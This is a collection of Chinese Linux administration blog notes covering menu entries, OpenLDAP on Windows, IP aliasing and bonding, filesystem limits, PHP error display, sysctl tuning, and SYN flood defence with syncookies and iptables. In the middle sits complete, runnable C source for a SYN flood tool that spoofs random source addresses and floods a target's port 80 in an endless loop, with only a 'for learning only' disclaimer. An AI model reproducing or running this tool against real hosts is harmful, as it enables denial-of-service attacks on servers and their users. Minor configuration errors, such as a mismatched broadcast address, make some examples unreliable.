Linux操作系统如何将应用程序添加到菜单

 

现在想把Ulipad添加到系统的“应用程序”菜单里,方法如下:

 

sudo gedit /usr/share/applications/Ulipad.desktop

 

然后在里面添加如下内容:

 

[Desktop Entry]

 

Name=Ulipad

 

Comment=a Python IDE

 

Exec=/home/zhao/ulipad/UliPad.py

 

Icon=/home/zhao/ulipad/Ulipad.png

 

Terminal=false

 

Type=Application

 

Categories=Application;Development;

 

保存后,Ulipad就会出现在:应用程序->编程菜单下面。

LDAP 的Windows安装

Windows下安装使用openldap
openldap 比起其他商业目录服务器(比如 IBM Directory Server),特别的轻巧,十分适合于本地开发测试用,在产品环境中的表现也很优秀。

openldap 软件在它的官方网站 http://www.openldap.org, 不过下载过来是源代码,并没有包含 win32 下的 Makefile 文件,只提供了在 Unix/Linux 下编译用的 Makefile。所以相应的在网上介绍在 windows 下安装使用 openldap 的资料比较少,而在 Unix/Linux 下应用文档却很丰富。

本文实践了在 Windows 下安装配 openldap,并添加一个条目,LdapBrowser 浏览,及 Java 程序连接 openldap 的全过程。

1. 下载安装 openldap for windows,当前版本2.2.29
    下载地址:http://download.bergmans.us/openldap/openldap-2.2.29/openldap-2.2.29-db-4.3.29-openssl-0.9.8a-win32_Setup.exe
    相关链接:http://lucas.bergmans.us/hacks/openldap/
   安装很简单,一路 next 即可,假设我们安装在 c:\openldap

2. 配置 openldap,编辑 sldap.conf 文件
   1) 打开 c:\openldap\sldap.conf,找到
    include  C:/openldap/etc/schema/core.schema,在它后面添加
    include  C:/openldap/etc/schema/cosine.schema
    include  C:/openldap/etc/schema/inetorgperson.schema

    接下来的例子只需要用到以上三个 schema,当然,如果你觉得需要的话,你可以把其他的 schema 全部添加进来
    include  C:/openldap/etc/schema/corba.schema
    include  C:/openldap/etc/schema/dyngroup.schema
    include  C:/openldap/etc/schema/java.schema
    include  C:/openldap/etc/schema/misc.schema
    include  C:/openldap/etc/schema/nis.schema
    include  C:/openldap/etc/schema/openldap.schema

   2) 还是在 sldap.conf 文件中,找到
    suffix  "dc=my-domain,dc=com"
    rootdn  "cn=Manager,dc=my-domain,dc=com"
    把这两行改为
    suffix "o=tcl,c=cn"  
    rootdn "cn=Manager,o=tcl,c=cn"

    suffix 就是看自己如何定义了,后面步骤的 ldif 文件就必须与它定义了。还要注意到这个配置文件中有一个 rootpw  secret,这个 secret 是 cn=Manager 的密码,以后会用到,不过这里是明文密码,你可以用命令: slappasswd -h {MD5} -s secret 算出加密的密码 {MD5}Xr4ilOzQ4PCOq3aQ0qbuaQ== 取代配置中的 secret。

3. 启动 openldap
    CMD 进入到 c:\openldap 下,运行命令 sldapd -d 1
    用可以看到控制台下打印一片信息,openldap 默认是用的 Berkeley DB 数据库存储目录数据的。

4. 建立条目,编辑导入 ldif 文件
   1) 新建一个 ldif(LDAP Data Interchanged Format) 文件(纯文本格式),例如 test.ldif,文件内容如下:
   
dn: o=tcl,c=cn
objectClass: dcObject
objectClass: organization
o: tcl
dc: com

dn: uid=Unmi, o=tcl,c=cn
uid: Unmi
objectClass: inetOrgPerson
mail: fantasia@sina.com
userPassword:: MTIzNDU2
labeledURI: http://unmi.blogcn.com
sn: Qiu
cn: 隔叶黄莺

   2) 执行命令:ldapadd -x -D "cn=manager,o=tcl,c=cn" -w secret -f test.ldif
    导入组织信息和一个用户 uid=Unmi

5. LdapBrowser 浏览
下载地址:http://www.blogjava.net/Files/Unmi/LdapBrowser282.rar     注:需要安装jre

Linux下单网卡绑定多IP与多网卡共用单IP

在Linux下有时候需要给一个网卡绑定多个IP,本文介绍在Redhat系列(redhat,Fedora Core,Centos)中的实现方法和一种在Gentoo等其他Linux中普遍适用的方法。

  1、单网卡绑定多IP在Redhat系列中的实现方法

  假设需要绑定多IP的网卡是eth0,请在/etc/sysconfig/network-scripts目录里面创建一个名为ifcfg-eth0:0的文件,

  内容样例为:

DEVICE=”eth0:0″
IPADDR=”192.168.0.2″
BROADCAST=”172.168.0.255″
NETMASK=”255.255.255.0″
ONBOOT=”yes”

  其中的DEVICE为设备的名称,IPADDR为此设备的IP地址,BROADCAST是广播地址,NETMASK为子网掩码,ONBOOT 表示在系统启动时自动启动。

  假如需要再绑定多一个IP地址,只需要把文件名和文件内的DEVICE中的eth0:x加一即可。

  LINUX最多可以支持255个IP别名

  2、普遍适用的单网卡绑定多IP实现方法

  ifconfig eth0:1 192.168.0.3 broadcast 192.168.0.255 netmask 255.255.255.0

  可以把上述命令加在启动自运行文件里面,在Gentoo下是/etc/conf.d/local.start,而某些版本的Linux是/etc/rc.d/rc.local。

  3、多网卡共用单IP的实现方法

  使用多块网卡虚拟成为一块网卡,具有相同的IP地址。这项技术其实在sun和cisco中已经存在,分别称为Trunking和 etherchannel技术,在linux中,这种技术称为bonding。因为bonding在内核2.4.x中已经包含了,只需要在编译的时候把网络设备选项中的 Bonding driver support选中就可以了。

  然后,重新编译核心,重新起动计算机,执行如下命令:
ismod bonding
ifconfig eth0 down
ifconfig eth1 down
ifconfig bond0 ipaddress
ifenslave bond0 eth0
ifenslave bond0 eth1

现在两块网卡已经象一块一样工作了,这样可以提高集群节点间的数据传输。

  你最好把这几句写成一个脚本,再由/etc/rc.d/rc.local或者/etc/conf.d/local.start调用,以便一开机就生效。

  bonding对于服务器来是个比较好的选择,在没有千兆网卡时,用两三块100兆网卡作 bonding,可大大提高服务器到交换机之间的带宽。但是需要在交换机上设置连接bonding 网卡的两个口子映射为同一个虚拟接口。

基本的文件系统体系结构 ext2 ext3 ntfs fat

 

原文地址:http://www.ibm.com/developerworks/cn/linux/l-linux-filesystem/index.html?S_TACT=105AGX52&S_CMP=techcsdn

各种文件系统的限制:

Ext2

Ext2 文件系统是Linux 特有的文件系统,它拥有传统UNIX 文件系统的许多特性,如块、inode
和目录等概念。Ext2 非常健壮,具有很多优良的性能。同时,Ext2 也是可扩展的,它提供
的扩展功能允许用户在不格式化文件系统的情况下使用新的特性。
—————————————————-
最大文件大小: 1TB
最大文件极限: 仅受文件系统大小限制
最大分区/文件系统大小: 4TB
最大文件名长度: 255 字符
缺省最小/最大块大小: 1024/4096 字节
缺省inode 分配: 每4096 字节为1
在强制FS 检查前的最大装载: 20(可配置)
—————————————————-

Ext3

Ext3 文件系统构筑于ext2 文件系统之上,对标准的Linux ext2 文件系统进行了日志扩展。
日志特性显著地减少文件系统崩溃后的恢复时间,它被广泛地应用于带有共享磁盘的HA 站
点。
—————————————————-
最大文件大小: 1TB
最大文件极限: 仅受文件系统大小限制
最大分区/文件系统大小: 4TB
最大文件名长度: 255 字符
缺省最小/最大块大小: 1024/4096 字节
缺省inode 分配: 每4096 字节为1
在强制FS 检查前的最大装载: 20(可配置)
—————————————————-
ReiserFS

ReiserFS 文件系统3.2.25 版是一种可选的日志文件系统。其优点包括更好的磁盘空间利用率、
更好的磁盘访问性能和更快的崩溃恢复功能。
—————————————————-
最大文件大小: 1TB
最大文件极限: 32k 目录,42 亿文件
最大分区/文件系统大小: 4TB
最大文件名长度: 255 字符
—————————————————-
JFS

日志文件系统(Journaled File System, JFS)是一种全64 位文件系统。所有文件系统结构字
段均为64 位大小。它允许JFS 同时支持大文件和分区。JFS 由IBM 根据GPL 许可开发,它
是从其AIX 系统移植过来的。
JFS 提供基于日志的字节级文件系统,它可以开发用于面向交易的高性能系统。它是可扩展
的,且稳定可靠,其优于非日志文件系统之处在于其快速重新启动能力。JFS 可以在数秒钟
或分钟之间将文件系统恢复到完好一致的状态。
尽管它主要针对服务器的高吞吐量和可靠性要求(从单一处理器系统到高级多处理器和集群
系统)而设计,JFS 同样也适用于要求性能和可靠性的客户配置。
—————————————————-
最小文件系统大小 16 MB
最大文件大小: 受体系结构限制
最大文件极限: 受文件系统大小限制
缺省最小/最大块大小: 1024/4096 字节
缺省inode 分配: 动态
—————————————————-

LVM

逻辑卷管理程序(Logical Volume Manager, LVM)是一种在线磁盘存储管理的子系统,它已
经成为跨Linux 存储管理的“事实上”标准。
LVM 支持磁盘和磁盘子系统的企业级卷管理,它可以成组任意数量的磁盘到卷组。卷组的
总能力可以分配给逻辑卷,这些逻辑卷可以按正常块设备来进行访问。
此外,LVM 还提供存储的逻辑分离。当在线地对块设备进行大小调整的过程中,可以将数
据从一个物理设备移动到另一个物理设备。LVM 也允许系统管理员轻松地对系统进行升级,
去除有故障的磁盘,重新组织负载,并适应变化了的系统需求。
—————————————————-
最大逻辑卷大小 从使用4 Mb 盘区的256 Gb
到使用较大PE 的1 Pb
最大逻辑卷数: 256
最大逻辑组数: 99
每PV 的最大PE 数: 65534
缺省物理盘区大小: 4 Mb
—————————————————-

PHP 的display_errors 分析

很少原创: 有不对的地方一定要指出来呀!

PHP配置文件中的error_reporting和display_errors两个选项让不少人迷惑,以为报告了就显示,不报告就不显示,干嘛还要使用display_errors呢,如果允许报告错误,又不让显示错误,那将又是什么状态呢? 欲知其中详情,且听我慢慢道来:

实例1.
[root@ljj junjie2]# php -i | grep display_errors
display_errors => Off => Off
[root@ljj junjie2]# php -r "sdfasdf();" 2>/dev/null
[root@ljj junjie2]# php -r "sdfasdf();"
PHP Fatal error: Call to undefined function sdfasdf() in Command line code on line 1
[root@ljj junjie2]#

说明:不允许显示错误时,错误是输出到标准错误的。 这时很正常的呀,没有什么可议论的。

实例2.

[root@ljj junjie2]# php -i | grep display_errors
display_errors => STDOUT => STDOUT
[root@ljj junjie2]# php -r "sdafasd();" 2>/dev/null

Fatal error: Call to undefined function sdafasd() in Command line code on line 1
[root@ljj junjie2]# php -r "sdafasd();"
PHP Fatal error: Call to undefined function sdafasd() in Command line code on line 1

Fatal error: Call to undefined function sdafasd() in Command line code on line 1
[root@ljj junjie2]#

说明: 允许显示错误时,很显然display_errors 的值为STDOUT,经过确认,就是说display_errors 打开的话就是把错误输出到标准输出而不是标准错误了

对于命令行来讲,终端的标准输出与标准错误都是屏幕,从哪里输出都是显示,我们直观上是看不出来的,但是php放到apache中就不一样了,display_errors 设置为on,网页上就能显示php的错误,为off时就不显示php的错误,好像display_errors的设置是给apache看的,其实不是的,apache并不关心php是怎么设置的,apache只是把标准错误写入日志,把标准输出写到网页,所以这就和php的错误输出到哪里关系到一起了。

补充: 关于log_errors 的说明

是否记录错误到日志文件与是否显示(display_errors)是两回事

都写错了,display_error 就是输出或不输出错误,或输出到哪里;

apachce的配置应该是:

display_error = off

log_errors = on

然后 error_log 不要设置

—————————————————–

log_errors = on
记录错误到error_log 指定的文件中;
注意:
1. 如果不指定error_log 文件将不记录,直接输出到标准错误
2. 如果当前用户对error_log 没有写权限,也将直接输出到标准错误

log_errors=off
即使error_log 指定了文件,也不往里面记录错误

/etc/sysctl.conf 配置说明

 说明:
  net.ipv4.tcp_syncookies = 1 表示开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;
  net.ipv4.tcp_tw_reuse = 1 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,表示关闭;
  net.ipv4.tcp_tw_recycle = 1 表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。
  net.ipv4.tcp_fin_timeout = 30 表示如果套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态的时间。
  net.ipv4.tcp_keepalive_time = 1200 表示当keepalive起用的时候,TCP发送keepalive消息的频度。缺省是2小时,改为20分钟。
  net.ipv4.ip_local_port_range = 1024    65000 表示用于向外连接的端口范围。缺省情况下很小:32768到61000,改为1024到65000。
  net.ipv4.tcp_max_syn_backlog = 8192 表示SYN队列的长度,默认为1024,加大队列长度为8192,可以容纳更多等待连接的网络连接数。
  net.ipv4.tcp_max_tw_buckets = 5000 表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000,改为5000。对于Apache、Nginx等服务器,上几行的参数可以很好地减少TIME_WAIT套接字数量,但是对于Squid,效果却不大。此项参数可以控制TIME_WAIT套接字的最大数量,避免Squid服务器被大量的TIME_WAIT套接字拖死。

Linux sys-flood 小程序

 

注意:仅供学习之用

    

        

            

        

    

            

/******************** DOS.c *****************/
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <netinet/ip.h>
            #include <netinet/tcp.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <stdio.h>
            #include <netdb.h>
            
            #define DESTPORT 80 /* 要攻击的端口(WEB) */
            #define LOCALPORT 8888
            
            void send_tcp(int sockfd,struct sockaddr_in *addr);
            unsigned short check_sum(unsigned short *addr,int len);
            
            int main(int argc,char **argv)
            {
                int sockfd;
                struct sockaddr_in addr;
                struct hostent *host;
                int on=1;
            
                if(argc!=2)
                {
                    fprintf(stderr,"Usage:%s hostnamena",argv[0]);
                    exit(1);
                }
            
                bzero(&addr,sizeof(struct sockaddr_in));
                addr.sin_family=AF_INET;
                addr.sin_port=htons(DESTPORT);
            
                if(inet_aton(argv[1],&addr.sin_addr)==0)
                {
                    host=gethostbyname(argv[1]);
                    if(host==NULL)
                    {
                        fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
                        exit(1);
                    }
                    addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
                }
            
                /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
            
                sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
                if(sockfd<0)
                {
                    fprintf(stderr,"Socket Error:%sna",strerror(errno));
                    exit(1);
                }
                /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
            
                setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
            
                /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
                setuid(getpid());
            
                /********* 发送炸弹了!!!! ****/
                send_tcp(sockfd,&addr);
            }
            
            
            
            /******* 发送炸弹的实现 *********/
            void send_tcp(int sockfd,struct sockaddr_in *addr)
            {
                char buffer[100]; /**** 用来放置我们的数据包 ****/
                struct ip *ip;
                struct tcphdr *tcp;
                int head_len;
            
                /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
            
                head_len=sizeof(struct ip)+sizeof(struct tcphdr);
            
                bzero(buffer,100);
            
                /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
                ip=(struct ip *)buffer;
                ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
                ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
                ip->ip_tos=0; /** 服务类型 **/
                ip->ip_len=htons(head_len); /** IP数据包的长度 **/
                ip->ip_id=0; /** 让系统去填写吧 **/
                ip->ip_off=0; /** 和上面一样,省点时间 **/
                ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
                ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
                ip->ip_sum=0; /** 校验和让系统去做 **/
                ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
            
                /******* 开始填写TCP数据包 *****/
                tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
                tcp->source=htons(LOCALPORT);
                tcp->dest=addr->sin_port; /** 目的端口 **/
                tcp->seq=random();
                tcp->ack_seq=0;
                tcp->doff=5;
                tcp->syn=1; /** 我要建立连接 **/
                tcp->check=0;
            
            
                /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
                while(1)
                {
                    /** 你不知道我是从那里来的,慢慢的去等吧! **/
                    ip->ip_src.s_addr=random();
            
                    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
                    /** 下面这条可有可无 */
                    tcp->check=check_sum((unsigned short *)tcp,
                            sizeof(struct tcphdr));
                    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
                }
            }
            
            /* 下面是首部校验和的算法,偷了别人的 */
            unsigned short check_sum(unsigned short *addr,int len)
            {
                register int nleft=len;
                register int sum=0;
                register short *w=addr;
                short answer=0;
            
                while(nleft>1)
                {
                    sum+=*w++;
                    nleft-=2;
                }
                if(nleft==1)
                {
                    *(unsigned char *)(&answer)=*(unsigned char *)w;
                    sum+=answer;
                }
            
                sum=(sum>>16)+(sum&0xffff);
                sum+=(sum>>16);
                answer=~sum;
                return(answer);
            }
            
            

            

TCP SYN Flood 攻击 及其简单防御

什麽是 TCP SYN Flood 攻击? 

 TCP SYN Flood是一种常见,而且有效的远端(远程)拒绝服务(Denial of Service)攻击方式,它透过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得提供TCP服务的主机系统无法正常工作。 由於TCP SYN Flood是透过网路底层对服务器Server进行攻击的,它可以在任意改变自己的网路IP地址的同时,不被网路上的其他设备所识别,这样就给防范网路犯罪部门追查犯罪来源造成很大的困难。 在国内内外的网站中,这种攻击屡见不鲜。在一个拍卖网站上,曾经有犯罪分子利用这种手段,在低价位时阻止其他用户继续对商品拍卖,干扰拍卖过程的正常运作。

如何判断?
一般情况下,可以一些简单步骤进行检查,来判断系统是否正在遭受TCP SYN Flood攻击。
1、 服务端无法提供正常的TCP服务。连接请求被拒绝或超时。
2、透过 netstat -an 命令检查系统,发现有大量的SYN_RECV连接状态。

 检查服务器链接,SYN_RECV状态最高时有200多个,访问服务器网页特别慢,甚至超时,所以基本判定是SYN_RECV攻击。
解决方法:
1,增加未完成连接队列(q0)的最大长度。
echo 1280>/proc/sys/net/ipv4/tcp_max_syn_backlog
2, 启动SYN_cookie。
echo 1>/proc/sys/net/ipv4/tcp_syncookies
这些是被动的方法,治标不治本。而且加大了服务器的负担,但是可以避免被拒绝攻击(只是减缓)
治本的方法是在防火墙上做手脚。但是现在能在一定程度上防住syn flood攻击的防火墙都不便宜。并且把这个命令加入"/etc/rc.d/rc.local"文件中

如果对 /proc/sys/net/ipv4 下的配置文件进行解释,可以参阅 LinuxAid技术站的文章。查看本文全文也可以参阅。
关于 syn cookies, 请参阅 :http://cr.yp.to/syncookies.html
也许 使用mod_limitipconn.c来限制apache的并发数 也会有一定的帮助。

2. iptables的设置,

防止同步包洪水(Sync Flood)
# iptables -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT
也有人写作
#iptables -A INPUT -p tcp –syn -m limit –limit 1/s -j ACCEPT
–limit 1/s 限制syn并发数每秒1次,可以根据自己的需要修改
防止各种端口扫描
# iptables -A FORWARD -p tcp –tcp-flags SYN,ACK,FIN,RST RST -m limit –limit 1/s -j ACCEPT
Ping洪水攻击(Ping of Death)
# iptables -A FORWARD -p icmp –icmp-type echo-request -m limit –limit 1/s -j ACCEPT